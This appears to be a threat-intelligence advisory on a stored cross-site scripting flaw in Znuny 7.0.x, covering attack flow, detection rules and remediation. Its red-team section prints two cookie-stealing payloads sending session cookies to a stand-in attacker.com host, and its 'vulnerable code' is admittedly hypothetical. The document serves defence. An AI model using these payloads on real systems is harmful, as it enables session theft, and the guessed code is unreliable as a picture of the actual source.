CVE-2024-32492

Executive Summary

CVE-2024-32492 is a stored Cross-Site Scripting (XSS) vulnerability affecting Znuny (formerly OTRS) versions 7.0.1 through 7.0.16. The flaw resides in the customer frontend's ticket detail view, where an attacker can inject arbitrary JavaScript code that executes in the context of a victim's browser session. This can lead to session hijacking, data theft, or further compromise of the Znuny instance. No official patch has been released by the vendor, and no public exploit code or Nuclei template is available at this time. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the vulnerability is confirmed and should be treated with high priority for any exposed Znuny installations.

Supply Chain & Package Security

Znuny is a Perl-based open-source ticketing system. The vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct code-level flaw in the application's web interface. No supply chain compromise has been identified.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0 in the NVD data, which is likely a placeholder. Based on the vulnerability description, a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): Low (L) – requires a valid customer account
• User Interaction (UI): Required (R) – victim must view the ticket
• Scope (S): Changed (C) – impacts resources beyond the vulnerable component
• Confidentiality (C): Low (L)
• Integrity (I): Low (L)
• Availability (A): None (N)

Estimated CVSS Score: 5.4 (Medium)

Threat Level: Medium. The vulnerability requires user interaction and a valid account, but it can lead to significant data exposure and session compromise.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS in the customer ticket detail view. Znuny allows customers to view and interact with tickets. An attacker with a customer account can inject malicious JavaScript into a ticket field (e.g., subject, body, or custom fields) that is not properly sanitized before being rendered in the customer frontend. When another customer or agent views the ticket, the injected script executes in their browser.

Root Cause: Insufficient output encoding of user-supplied data in the ticket detail view template. The application fails to escape HTML entities or JavaScript event handlers before rendering.

Attack Flow:

1. Attacker logs in as a customer.
2. Attacker creates or updates a ticket with a payload like <script>alert('XSS')</script> in a text field.
3. Victim (another customer or agent) navigates to the ticket detail view.
4. The payload is rendered and executed, allowing the attacker to steal cookies, perform actions on behalf of the victim, or redirect to a malicious site.

Vulnerable vs. Patched Code

Since no official patch is available, the vulnerable code is presumed to be in the template files responsible for rendering ticket details. A typical vulnerable pattern in Perl-based web apps (using Template Toolkit) might look like:

Vulnerable (Znuny 7.0.1-7.0.16):

[% ticket.Subject %]  # Direct output without escaping

Patched (hypothetical fix):

[% ticket.Subject | html %]  # HTML-escaped output

The fix would involve applying proper HTML escaping to all user-controlled fields in the customer ticket detail view templates.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• A valid customer account on a Znuny 7.0.1-7.0.16 instance.
• Access to create or modify tickets.

Exploitation Steps:

1. Log in to the customer portal.
2. Create a new ticket with the following payload in the subject or body:

   <script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>
   

3. Submit the ticket.
4. Wait for a victim (customer or agent) to view the ticket.
5. The victim's browser executes the script, sending their session cookie to the attacker's server.

Alternative Payload (session hijacking):

<img src=x onerror="fetch('https://attacker.com/steal?data='+btoa(document.cookie))">

Blue Team (Defender)

Detection:

• Monitor for unusual ticket content containing <script>, onerror, onload, or other event handlers.
• Use web application firewall (WAF) rules to block common XSS patterns in ticket fields.
• Review access logs for repeated ticket creation from the same user with suspicious content.

Mitigation:

• Apply input validation and output encoding manually if no patch is available.
• Restrict customer account creation to trusted users.
• Use Content Security Policy (CSP) headers to block inline scripts.

Indicators of Compromise (IOCs)

• Network: Outbound connections to attacker-controlled domains from Znuny server or client browsers.
• Logs: Ticket content containing <script>, javascript:, onerror=, onload=, or base64-encoded payloads.
• File: Modified template files (e.g., .tt files) if attacker gains write access.
• Behavior: Unusual ticket views from a single IP or user agent.

Detection Engineering

YARA Rule

rule CVE_2024_32492_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting Znuny CVE-2024-32492"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-32492"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+/is
        $xss3 = /onload\s*=\s*["']?[^"'\s>]+/is
        $xss4 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: Znuny CVE-2024-32492 XSS Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential XSS payloads in Znuny ticket fields
author: Valters IT
logsource:
    category: web
    product: znuny
detection:
    selection:
        http.request.body|contains:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in ticket fields (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-32492 Znuny XSS Payload"; flow:to_server; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2024-32492 Znuny XSS Event Handler"; content:"onerror="; http_client_body; nocase; sid:1000002; rev:1;)
alert http any any -> any any (msg:"CVE-2024-32492 Znuny XSS javascript URI"; content:"javascript:"; http_client_body; nocase; sid:1000003; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable customer frontend if not required, or restrict access to trusted IPs.
2. Apply input validation on all ticket fields (subject, body, custom fields) to strip HTML tags and JavaScript.
3. Implement Content Security Policy (CSP) headers to block inline scripts and restrict script sources.
4. Monitor logs for XSS attempts and block offending IPs.

Long-term Fix:

• Upgrade to a patched version once Znuny releases a security update.
• If using a fork or custom version, apply output encoding in the template files (e.g., [% variable | html %] in Template Toolkit).

Workaround:

• Use a WAF (e.g., ModSecurity) with rules to block XSS payloads in POST requests to ticket creation endpoints.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert